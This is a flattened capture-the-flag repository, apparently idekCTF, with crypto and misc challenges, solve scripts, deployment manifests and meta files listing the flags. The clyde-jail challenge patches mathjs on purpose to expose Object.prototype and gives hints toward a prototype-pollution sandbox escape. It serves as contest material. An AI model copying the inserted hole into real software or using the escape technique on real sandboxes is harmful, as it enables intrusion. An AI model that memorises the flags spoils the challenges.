the golden ticket and have a trip to Willy Wonka's factory ? 9 | 10 | ## Distribution 11 | - `chall.py` -------------------------------------------------------------------------------- /crypto/goldenticket/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Golden Ticket 2 | author: Giapppp 3 | public: true 4 | flag: idek{charles_and_the_chocolate_factory!!!} 5 | description: Can you help Charles - who doesn't have any knowledge about cryptography, get the golden ticket and have a trip to Willy Wonka's factory ? -------------------------------------------------------------------------------- /crypto/irrandomcible/README.md: -------------------------------------------------------------------------------- 1 | # Irrandomcible 2 | **Category:** Crypto 3 | **Difficulty:** Easy/Medium 4 | **Author:** A~Z 5 | 6 | ## Description 7 | 8 | > And in the left corner! Beer in hand, degen anime in mind! You all recognize him, the drunk cryptoman!! SOOOOOOOOOON HAAAAAARRIIIIIIII 9 | 10 | While attempting to become as good as my idol Haari-sama of the Soon clan, I got drunk and randomized the flag. Please help. 11 | 12 | ## Distribution 13 | - `main.sage` 14 | - `out.txt` -------------------------------------------------------------------------------- /crypto/irrandomcible/debug/solve.sage: -------------------------------------------------------------------------------- 1 | from tqdm import trange 2 | from ast import literal_eval 3 | proof.all(False) 4 | 5 | with open('out.txt', 'r') as file: 6 | res = literal_eval(file.read()) 7 | 8 | M = max([ 9 | max(v) 10 | for block in res 11 | for v in block 12 | ]) 13 | 14 | R = [ 15 | sum(map(vector, block)) 16 | for block in res 17 | ] 18 | 19 | print('Loaded!') 20 | 21 | i,d,e = b'ide' 22 | a,b,c = R[0][:3] 23 | for p in trange(M+(M&1)+1, 2**32, 2): 24 | if (i*b % p == d*a % p) and (i*c % p == a*e % p) and is_pseudoprime(p): 25 | break 26 | k = i * pow(a,-1,p) % p 27 | print('p =', p) 28 | print(bytes(k * R[0] % p)) 29 | 30 | for B in R[1:]: 31 | s = pow(B[0], -1, p) 32 | B = s*B % p 33 | for w in range(1, 256): 34 | if all(x < 256 for x in w*B%p): 35 | print(bytes(w*B%p)) 36 | break 37 | else: 38 | print('???') 39 | 40 | 41 | 42 | # n = 7 43 | # Selected random generators! 44 | # gs = [[(1, 5), (2, 4, 6, 3)], [(1, 2, 5), (3, 4)]] 45 | # #G = 720 46 | # p = 193715947 -------------------------------------------------------------------------------- /crypto/irrandomcible/meta.yaml: -------------------------------------------------------------------------------- 1 | name: irrandomcible 2 | author: A~Z 3 | public: true 4 | flag: idek{5um_0f_1rr3p_15_d14g0n4l} 5 | description: |- 6 | **And in the left corner! Beer in hand, degen anime in mind! You all recognize him, the drunk cryptoman!! SOOOOOOOOOON HAAAAAARRIIIIIIII** 7 | 8 | While attempting to become as good as my idol Haari-sama of the Soon clan, I got drunk and randomized the flag. Please help. 9 | -------------------------------------------------------------------------------- /crypto/seedy/README.md: -------------------------------------------------------------------------------- 1 | # Seedy 2 | **Category:** Crypto 3 | **Difficulty:** Easy 4 | **Author:** Mistsu 5 | 6 | ## Description 7 | Can you recover the flag when it looks a little bit random? 8 | 9 | ## Distribution 10 | - `chall.py` 11 | - `output.txt` 12 | -------------------------------------------------------------------------------- /crypto/seedy/attachments/chall.py: -------------------------------------------------------------------------------- 1 | import random, os; flag = os.urandom(random.randrange(0,1337)) + open("flag.txt", "rb").read() + os.urandom(random.randrange(0,1337)); random.seed(flag); print(len(flag) < 1337*1.337 and ''.join(map(str, [random.getrandbits(int(1.337)) for _ in range(int(1337**1.337*1.337))]))) 2 | -------------------------------------------------------------------------------- /crypto/seedy/debug/chall-unredacted.py: -------------------------------------------------------------------------------- 1 | import random, os; flag = os.urandom(random.randrange(0, 1337)) + open("flag.txt", "rb").read() + os.urandom(random.randrange(0, 1337)); random.seed(flag); print(len(flag) < 1337*1.337 and ''.join(map(str, [random.getrandbits(int(1.337)) for _ in range(int(1337**1.337*1.337))]))) 2 | -------------------------------------------------------------------------------- /crypto/seedy/debug/flag.txt: -------------------------------------------------------------------------------- 1 | idek{aH-n0t-s0-r4nd0m-aft3r-4ll} -------------------------------------------------------------------------------- /crypto/seedy/debug/randcrack/mathlib/matrix32.py: -------------------------------------------------------------------------------- 1 | import gmpy2 2 | from copy import deepcopy 3 | 4 | """ 5 | Matrices here are represented as 6 | lists of gmpy2.mpz(x)s. 7 | 8 | (I created 2 files because I'm lazy) 9 | """ 10 | 11 | def add_mat32(M, N): 12 | """ 13 | add_mat64(): Adding 2 32x32 matrices. 14 | """ 15 | R = deepcopy(M) 16 | for i in range(32): 17 | R[i] ^= N[i] 18 | return R 19 | 20 | def mul_mat32(M, N): 21 | """ 22 | mul_mat64(): Multiply 2 32x32 matrices. 23 | """ 24 | M = deepcopy(M) 25 | R = [gmpy2.mpz(0)] * 32 26 | for i_row in range(32): 27 | for i_col in range(32): 28 | if gmpy2.bit_test(M[i_row], 0): 29 | R[i_row] ^= N[i_col] 30 | M[i_row] >>= 1 31 | return R 32 | 33 | def mul_vecl32(v, M): 34 | """ 35 | mul_vecl32(): Multiply a vector v of 32 items 36 | with a 32x32 matrix M (v*M) 37 | """ 38 | v = deepcopy(v) 39 | r = gmpy2.mpz(0) 40 | for i_row in range(32): 41 | if gmpy2.bit_test(v, 0): 42 | r ^= M[i_row] 43 | v >>= 1 44 | return r -------------------------------------------------------------------------------- /crypto/seedy/debug/randcrack/z3wrapper.py: -------------------------------------------------------------------------------- 1 | from z3 import * 2 | 3 | def get_z3_answers(constraints: list, variables_list: list): 4 | sat_solver = Solver() 5 | for constraint in constraints: 6 | sat_solver.add(constraint) 7 | 8 | answers = [] 9 | while sat_solver.check() == sat: 10 | answer = sat_solver.model() 11 | answers.append(answer) 12 | sat_solver.add( 13 | Or(*[variable != answer[variable] for variable in variables_list]) 14 | ) 15 | return answers 16 | 17 | def get_z3_answer(constraints: list, variables_list: list): 18 | sat_solver = Solver() 19 | for constraint in constraints: 20 | sat_solver.add(constraint) 21 | 22 | if sat_solver.check() == sat: 23 | return sat_solver.model() 24 | return None -------------------------------------------------------------------------------- /crypto/seedy/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Seedy 2 | author: Mistsu 3 | public: true 4 | flag: idek{aH-n0t-s0-r4nd0m-aft3r-4ll} 5 | description: Can you recover the flag when it looks a little bit random? 6 | -------------------------------------------------------------------------------- /crypto/summertime/README.md: -------------------------------------------------------------------------------- 1 | # summertime 2 | **Category:** Crypto 3 | **Difficulty:** Hard 4 | **Author:** genni 5 | 6 | ## Description 7 | Just another isogeny challenge :) 8 | -------------------------------------------------------------------------------- /crypto/summertime/attachments/flag.txt: -------------------------------------------------------------------------------- 1 | idek{REDACTED} 2 | -------------------------------------------------------------------------------- /crypto/summertime/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: summertime 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: true 13 | image: us.gcr.io/idekctf-374221/summertime-healthcheck:8923109f3fdbe3d534dfc9b7632198b2da55ad420b01ad1939d15d23827a67b4 14 | image: us.gcr.io/idekctf-374221/summertime-challenge:680b4831d4627bd43d9e6adcc60936dae6d2573f8830b17c93090d8040c88179 15 | -------------------------------------------------------------------------------- /crypto/summertime/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM sagemath/sagemath:10.4 AS chroot 2 | 3 | USER root 4 | 5 | RUN apt-get update && apt-get install -y socat python3 python3-pip make && rm -rf /var/lib/apt/lists/* 6 | RUN sage -pip install pycryptodome 7 | 8 | RUN mkdir -m 777 /app 9 | 10 | USER sage 11 | 12 | COPY chall.sage /app/ 13 | COPY flag.txt /app/ 14 | 15 | WORKDIR /app 16 | 17 | RUN sage --preparse chall.sage 18 | 19 | FROM gcr.io/kctf-docker/challenge@sha256:eb0f8c3b97460335f9820732a42702c2fa368f7d121a671c618b45bbeeadab28 20 | 21 | COPY --from=chroot / /chroot 22 | 23 | COPY nsjail.cfg /home/user/ 24 | 25 | CMD ["bash", "-c", "kctf_setup && kctf_drop_privs socat -T600 TCP-LISTEN:1337,reuseaddr,fork EXEC:\"kctf_pow nsjail --config /home/user/nsjail.cfg --cwd /app -- /usr/bin/sage --nodotsage chall.sage.py\""] 26 | -------------------------------------------------------------------------------- /crypto/summertime/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | idek{h0p3_y0u_enj0y3d_c0d3s_4nd_th4nks_f0r_pl4y1n6_:-)} 2 | -------------------------------------------------------------------------------- /crypto/summertime/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:6709709a8cfd6e2d743c86d58398c00ca4eb26befd3b1a0a629ab35f91e98ef0 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py -------------------------------------------------------------------------------- /crypto/summertime/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | def solve(): 5 | def handle_pow(r): 6 | print(r.recvuntil(b'python3 ')) 7 | print(r.recvuntil(b' solve ')) 8 | challenge = r.recvline().decode('ascii').strip() 9 | p = process(['kctf_bypass_pow', challenge]) 10 | solution = p.readall().strip() 11 | r.sendline(solution) 12 | print(r.recvuntil(b'Correct\n')) 13 | 14 | 15 | # con = process('./write_me_patched') 16 | con = remote('127.0.0.1', 1337) 17 | print(con.recvuntil(b'== proof-of-work: ')) 18 | if con.recvline().startswith(b'enabled'): 19 | handle_pow(con) 20 | 21 | con.recvuntil(b'choice:') 22 | 23 | con.close() 24 | exit(0) 25 | 26 | solve() -------------------------------------------------------------------------------- /crypto/summertime/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=60 18 | PERIOD=120 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /crypto/summertime/meta.yaml: -------------------------------------------------------------------------------- 1 | name: summertime 2 | author: genni 3 | public: true 4 | flag: idek{h0p3_y0u_enj0y3d_c0d3s_4nd_th4nks_f0r_pl4y1n6_:-)} 5 | description: |- 6 | Just another isogeny challenge :) 7 | -------------------------------------------------------------------------------- /crypto/tensor-galore/README.md: -------------------------------------------------------------------------------- 1 | # Tensor Galore 2 | **Category:** Crypto 3 | **Difficulty:** Hard 4 | **Author:** A~Z 5 | 6 | ## Description 7 | 8 | CSIDH is *so* 2018. Wake up babe, new class group action just dropped. 9 | -------------------------------------------------------------------------------- /crypto/tensor-galore/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: tensor-galore 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: true 13 | image: us.gcr.io/idekctf-374221/tensor-galore-healthcheck:4cac16bd854e9aca3db51e27eb0fc6839920f7e752f434af42dfc28c99b71e96 14 | image: us.gcr.io/idekctf-374221/tensor-galore-challenge:35b9b25a67bdc191279630bfb54fd0e62f90a4b4e616fb23755423d4b17667f0 15 | -------------------------------------------------------------------------------- /crypto/tensor-galore/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM sagemath/sagemath:10.4 AS chroot 2 | 3 | USER root 4 | 5 | RUN apt-get update && apt-get install -y socat python3 python3-pip make && rm -rf /var/lib/apt/lists/* 6 | RUN sage -pip install pycryptodome 7 | 8 | COPY ./vector-bundles-sagemath . 9 | RUN make install 10 | 11 | RUN mkdir -m 777 /app 12 | 13 | USER sage 14 | 15 | COPY server.sage /app/ 16 | COPY function_field_elliptic.py /app/ 17 | COPY secret.py /app/ 18 | 19 | WORKDIR /app 20 | 21 | RUN sage --preparse server.sage 22 | 23 | FROM gcr.io/kctf-docker/challenge@sha256:eb0f8c3b97460335f9820732a42702c2fa368f7d121a671c618b45bbeeadab28 24 | 25 | COPY --from=chroot / /chroot 26 | 27 | COPY nsjail.cfg /home/user/ 28 | 29 | CMD ["bash", "-c", "kctf_setup && kctf_drop_privs socat TCP-LISTEN:1337,reuseaddr,fork EXEC:\"kctf_pow nsjail --config /home/user/nsjail.cfg --cwd /app -- /usr/bin/sage --nodotsage server.sage.py\""] -------------------------------------------------------------------------------- /crypto/tensor-galore/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=120 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 23 | 24 | while true; do 25 | echo -n "[$(date)] " 26 | if timeout "${TIMEOUT}" sage --nodotsage /home/user/healthcheck.sage.py; then 27 | echo 'ok' | tee /tmp/healthz 28 | else 29 | echo -n "$? " 30 | echo 'err' | tee /tmp/healthz 31 | fi 32 | sleep "${PERIOD}" 33 | done 34 | -------------------------------------------------------------------------------- /crypto/tensor-galore/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Tensor Galore 2 | author: A~Z 3 | public: true 4 | flag: idek{1t_w45_ju5t_p01n7s_0n_7h3_curv3} 5 | description: |- 6 | CSIDH is *so* 2018. Wake up babe, new class group action just dropped. 7 | -------------------------------------------------------------------------------- /klodd/11-klodd-rbac.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: rbac.authorization.k8s.io/v1 2 | kind: ClusterRole 3 | metadata: 4 | name: klodd 5 | rules: 6 | - apiGroups: [""] 7 | resources: [namespaces] 8 | verbs: [list, get, create, delete] 9 | - apiGroups: [""] 10 | resources: [services] 11 | verbs: [create, delete] 12 | - apiGroups: [apps] 13 | resources: [deployments] 14 | verbs: [get, create, delete] 15 | - apiGroups: [networking.k8s.io] 16 | resources: [networkpolicies] 17 | verbs: [create, delete] 18 | - apiGroups: [traefik.containo.us] 19 | resources: [ingressroutes, ingressroutetcps, middlewares, middlewaretcps] 20 | verbs: [create, delete] 21 | - apiGroups: [klodd.tjcsec.club] 22 | resources: [challenges] 23 | verbs: [list, get, watch] -------------------------------------------------------------------------------- /klodd/README.md: -------------------------------------------------------------------------------- 1 | # Deploying klodd 2 | ## GKE 3 | ```bash 4 | gcloud config set project idekctf-374221 5 | gcloud container clusters create --release-channel regular --zone us-east4-b --enable-network-policy --enable-autoscaling \ 6 | --min-nodes 1 --max-nodes 2 --num-nodes 1 --no-enable-master-authorized-networks --enable-autorepair --preemptible \ 7 | --machine-type e2-standard-2 klodd-cluster 8 | gcloud container clusters get-credentials klodd-cluster --zone us-east4-b 9 | 10 | gcloud compute addresses create klodd-ip --region us-east4 11 | ``` 12 | 13 | ## Lets Encrypt 14 | ``` 15 | sudo certbot certonly --manual --preferred-challenges=dns --email stepan.fedotov@gmail.com --agree-tos -d instancer.idek.team,*.instancer.idek.team 16 | sudo cp /etc/letsencrypt/live/instancer.idek.team/{fullchain.pem,privkey.pem} certs && sudo chown $(whoami):$(whoami) certs/*.pem 17 | ``` 18 | 19 | Update 00-traefik.yaml with the certs. 20 | 21 | ## Apply everything 22 | 23 | Apply all the manifests in k8s/ in their respective order. -------------------------------------------------------------------------------- /klodd/certs/fullchain.pem: -------------------------------------------------------------------------------- 1 | HAHA -------------------------------------------------------------------------------- /klodd/certs/privkey.pem: -------------------------------------------------------------------------------- 1 | XD -------------------------------------------------------------------------------- /klodd/challenges/crator.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: "klodd.tjcsec.club/v1" 2 | kind: Challenge 3 | metadata: 4 | name: crator 5 | spec: 6 | name: crator 7 | timeout: 600000 # 10min 8 | pods: 9 | - name: app 10 | egress: true 11 | ports: 12 | - port: 1337 13 | spec: 14 | containers: 15 | - name: main 16 | image: gcr.io/idekctf-374221/crator 17 | resources: 18 | requests: 19 | memory: 200Mi 20 | cpu: 200m 21 | limits: 22 | memory: 500Mi 23 | cpu: 500m 24 | automountServiceAccountToken: false 25 | expose: 26 | kind: http 27 | pod: app 28 | port: 1337 29 | -------------------------------------------------------------------------------- /klodd/challenges/includeme.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: "klodd.tjcsec.club/v1" 2 | kind: Challenge 3 | metadata: 4 | name: includeme 5 | spec: 6 | name: includeme 7 | timeout: 900000 # 15min 8 | pods: 9 | - name: app 10 | egress: true 11 | ports: 12 | - port: 1337 13 | spec: 14 | containers: 15 | - name: main 16 | image: gcr.io/idekctf-374221/includeme 17 | resources: 18 | requests: 19 | memory: 500Mi 20 | cpu: 500m 21 | limits: 22 | memory: 2000Mi 23 | cpu: 4000m # wtf downgrade 24 | automountServiceAccountToken: false 25 | expose: 26 | kind: http 27 | pod: app 28 | port: 1337 29 | -------------------------------------------------------------------------------- /klodd/challenges/minecraft-hacked.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: "klodd.tjcsec.club/v1" 2 | kind: Challenge 3 | metadata: 4 | name: minecraft-hacked 5 | spec: 6 | name: Minecraft Hacked 7 | timeout: 1800000 # 30min 8 | pods: 9 | - name: app 10 | egress: true 11 | ports: 12 | - port: 1337 13 | spec: 14 | containers: 15 | - name: main 16 | image: gcr.io/idekctf-374221/mincraft-hacked 17 | resources: 18 | requests: 19 | memory: 1536M 20 | cpu: 1000m 21 | limits: 22 | memory: 4096M 23 | cpu: 1500m 24 | automountServiceAccountToken: false 25 | expose: 26 | kind: tcp 27 | pod: app 28 | port: 1337 -------------------------------------------------------------------------------- /klodd/challenges/srcdoc-memos-revenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: "klodd.tjcsec.club/v1" 2 | kind: Challenge 3 | metadata: 4 | name: srcdoc-revenge 5 | spec: 6 | name: srcdoc memos revenge 7 | timeout: 1800000 # 30min 8 | pods: 9 | - name: app 10 | egress: true 11 | ports: 12 | - port: 1337 13 | spec: 14 | containers: 15 | - name: main 16 | image: gcr.io/idekctf-374221/srcdoc-memos-revenge 17 | resources: 18 | requests: 19 | memory: 200Mi 20 | cpu: 200m 21 | limits: 22 | memory: 500Mi 23 | cpu: 500m 24 | automountServiceAccountToken: false 25 | expose: 26 | kind: http 27 | pod: app 28 | port: 1337 29 | -------------------------------------------------------------------------------- /klodd/challenges/untitled-smarty-challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: "klodd.tjcsec.club/v1" 2 | kind: Challenge 3 | metadata: 4 | name: smarty-challenge 5 | spec: 6 | name: Untitled Smarty Challenge 7 | timeout: 1800000 # 30min 8 | pods: 9 | - name: app 10 | egress: true 11 | ports: 12 | - port: 1337 13 | spec: 14 | containers: 15 | - name: main 16 | image: gcr.io/idekctf-374221/untitled-smarty-challenge 17 | resources: 18 | requests: 19 | memory: 100Mi 20 | cpu: 75m 21 | limits: 22 | memory: 250Mi 23 | cpu: 100m 24 | automountServiceAccountToken: false 25 | expose: 26 | kind: http 27 | pod: app 28 | port: 1337 29 | -------------------------------------------------------------------------------- /misc/clyde-jail/README.md: -------------------------------------------------------------------------------- 1 | # clyde-jail 2 | **Category:** Misc 3 | **Difficulty:** Hard 4 | **Author:** icesfont 5 | 6 | ## Description 7 | ![basic_calculator(input=f = resolve("constructor('test')")._compile({},{}); p = f(null, cos); p())](https://locker.kotoha.moe/-7dHvMPe7ww/yes.png) 8 | 9 | **Hints (24hr mark):** 10 | 11 | the intended solution uses the prototype pollution in order to access arbitrary properties of any object, in particular `({}).constructor`; it then uses this to get access to the global object and win. (getting access to the function constructor, `Function`, does not immediately win given the `--disallow-code-generation-from-strings` option.) 12 | 13 | node internals are out of scope for the intended solution. 14 | 15 | specific hints for the intended solution (there may be other ways to achieve the above): 16 | 17 | - have you seen this? https://github.com/josdejong/mathjs/blob/14acdad7e8e2f9e2dbb6fc26ab1eef569e02138d/HISTORY.md?plain=1#L1666-L1668 18 | - how is accessing object properties implemented? 19 | - `Error.prepareStackTrace` 20 | 21 | -------------------------------------------------------------------------------- /misc/clyde-jail/attachments/Dockerfile: -------------------------------------------------------------------------------- 1 | # latest node 18 at the time of writing this 2 | FROM node:18-slim@sha256:03777927a98e306d478fdbdeed07351ad910179b714a2934f0f4d64810ac58aa 3 | 4 | RUN apt update && apt install -y gcc socat 5 | 6 | WORKDIR /app 7 | 8 | # latest mathjs at the time of writing this 9 | RUN npm i -g mathjs@13.0.3 10 | 11 | COPY patched-cli.js /usr/local/lib/node_modules/mathjs/bin/cli.js 12 | 13 | RUN chmod +x /usr/local/bin/mathjs 14 | 15 | COPY readflag.c . 16 | RUN gcc readflag.c -static -o /readflag 17 | RUN chmod u+s /readflag 18 | 19 | COPY flag.txt /flag.txt 20 | RUN chmod 400 /flag.txt 21 | 22 | RUN rm readflag.c 23 | 24 | EXPOSE 1337 25 | 26 | USER node 27 | 28 | # unfortunately echo=0 doesn't work on the server (likely due to readline?), so there'll appear to be some 29 | # lag on keypresses depending your ping to the server (negligible if localhost) 30 | # socat -,raw,echo=0 tcp:localhost:1337 31 | CMD socat tcp-l:1337,reuseaddr,fork system:"NODE_OPTIONS='--disallow-code-generation-from-strings' mathjs",stderr,pty 32 | -------------------------------------------------------------------------------- /misc/clyde-jail/attachments/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.8" 2 | name: "clyde-jail" 3 | 4 | services: 5 | jail: 6 | build: . 7 | ports: 8 | - "1337:1337" 9 | restart: always 10 | -------------------------------------------------------------------------------- /misc/clyde-jail/attachments/flag.txt: -------------------------------------------------------------------------------- 1 | idek{REDACTED} -------------------------------------------------------------------------------- /misc/clyde-jail/attachments/patch.diff: -------------------------------------------------------------------------------- 1 | diff --git a/node_modules/mathjs/bin/cli.js b/node_modules/mathjs/bin/cli.js 2 | index 4943276..01c8bc8 100644 3 | --- a/node_modules/mathjs/bin/cli.js 4 | +++ b/node_modules/mathjs/bin/cli.js 5 | @@ -47,8 +47,9 @@ 6 | 7 | const fs = require('fs') 8 | const path = require('path') 9 | +const math = require('../lib/browser/math.js') 10 | const { createEmptyMap } = require('../lib/cjs/utils/map.js') 11 | -let scope = createEmptyMap() 12 | +let scope = new Map([[ "proto", Object.prototype ]]) 13 | 14 | const PRECISION = 14 // decimals 15 | 16 | @@ -59,7 +60,8 @@ const PRECISION = 14 // decimals 17 | * @return {*} 18 | */ 19 | function getMath () { 20 | - return require('../lib/browser/math.js') 21 | + // no dynamic requires! 22 | + return math 23 | } 24 | 25 | /** 26 | @@ -198,7 +200,7 @@ function runStream (input, output, mode, parenthesis) { 27 | break 28 | case 'clear': 29 | // clear memory 30 | - scope = createEmptyMap() 31 | + scope = new Map([[ "proto", Object.prototype ]]) 32 | console.log('memory cleared') 33 | 34 | // get next input 35 | -------------------------------------------------------------------------------- /misc/clyde-jail/attachments/readflag.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() { 5 | setuid(0); 6 | FILE *file; 7 | char ch; 8 | file = fopen("/flag.txt", "r"); 9 | if (file == NULL) { 10 | perror("flag.txt missing"); 11 | return 1; 12 | } 13 | while ((ch = fgetc(file)) != EOF) { 14 | putchar(ch); 15 | } 16 | fclose(file); 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /misc/clyde-jail/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: clyde-jail 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: true 13 | image: us.gcr.io/idekctf-374221/clyde-jail-healthcheck:aabbdf216f57c495107b44951f6924b10119b763c46bb35eb71259765be9b0dc 14 | image: us.gcr.io/idekctf-374221/clyde-jail-challenge:6a43fccf581b932e1b40fac9492a8bb9793cdcc4b75a0ec92b85d41e0114e629 15 | -------------------------------------------------------------------------------- /misc/clyde-jail/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # latest node 18 at the time of writing this 2 | FROM node:18-slim@sha256:03777927a98e306d478fdbdeed07351ad910179b714a2934f0f4d64810ac58aa 3 | 4 | RUN apt update && apt install -y gcc socat 5 | 6 | WORKDIR /app 7 | 8 | # latest mathjs at the time of writing this 9 | RUN npm i -g mathjs@13.0.3 10 | 11 | COPY patched-cli.js /usr/local/lib/node_modules/mathjs/bin/cli.js 12 | 13 | RUN chmod +x /usr/local/bin/mathjs 14 | 15 | COPY readflag.c . 16 | RUN gcc readflag.c -static -o /readflag 17 | RUN chmod u+s /readflag 18 | 19 | COPY flag.txt /flag.txt 20 | RUN chmod 400 /flag.txt 21 | 22 | RUN rm readflag.c 23 | 24 | EXPOSE 1337 25 | 26 | USER node 27 | 28 | # unfortunately echo=0 doesn't work on the server (likely due to readline?), so there'll appear to be some 29 | # lag on keypresses depending your ping to the server (negligible if localhost) 30 | # socat -,raw,echo=0 tcp:localhost:1337 31 | CMD socat tcp-l:1337,reuseaddr,fork system:"NODE_OPTIONS='--disallow-code-generation-from-strings' mathjs",stderr,pty 32 | -------------------------------------------------------------------------------- /misc/clyde-jail/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | idek{im_sorry_were_you_expecting_a_discord_bot_challenge} -------------------------------------------------------------------------------- /misc/clyde-jail/challenge/readflag.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() { 5 | setuid(0); 6 | FILE *file; 7 | char ch; 8 | file = fopen("/flag.txt", "r"); 9 | if (file == NULL) { 10 | perror("flag.txt missing"); 11 | return 1; 12 | } 13 | while ((ch = fgetc(file)) != EOF) { 14 | putchar(ch); 15 | } 16 | fclose(file); 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /misc/clyde-jail/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:6709709a8cfd6e2d743c86d58398c00ca4eb26befd3b1a0a629ab35f91e98ef0 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py -------------------------------------------------------------------------------- /misc/clyde-jail/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done -------------------------------------------------------------------------------- /misc/clyde-jail/meta.yaml: -------------------------------------------------------------------------------- 1 | name: clyde-jail 2 | author: icesfont 3 | flag: "idek{im_sorry_were_you_expecting_a_discord_bot_challenge}" 4 | public: true 5 | description: |- 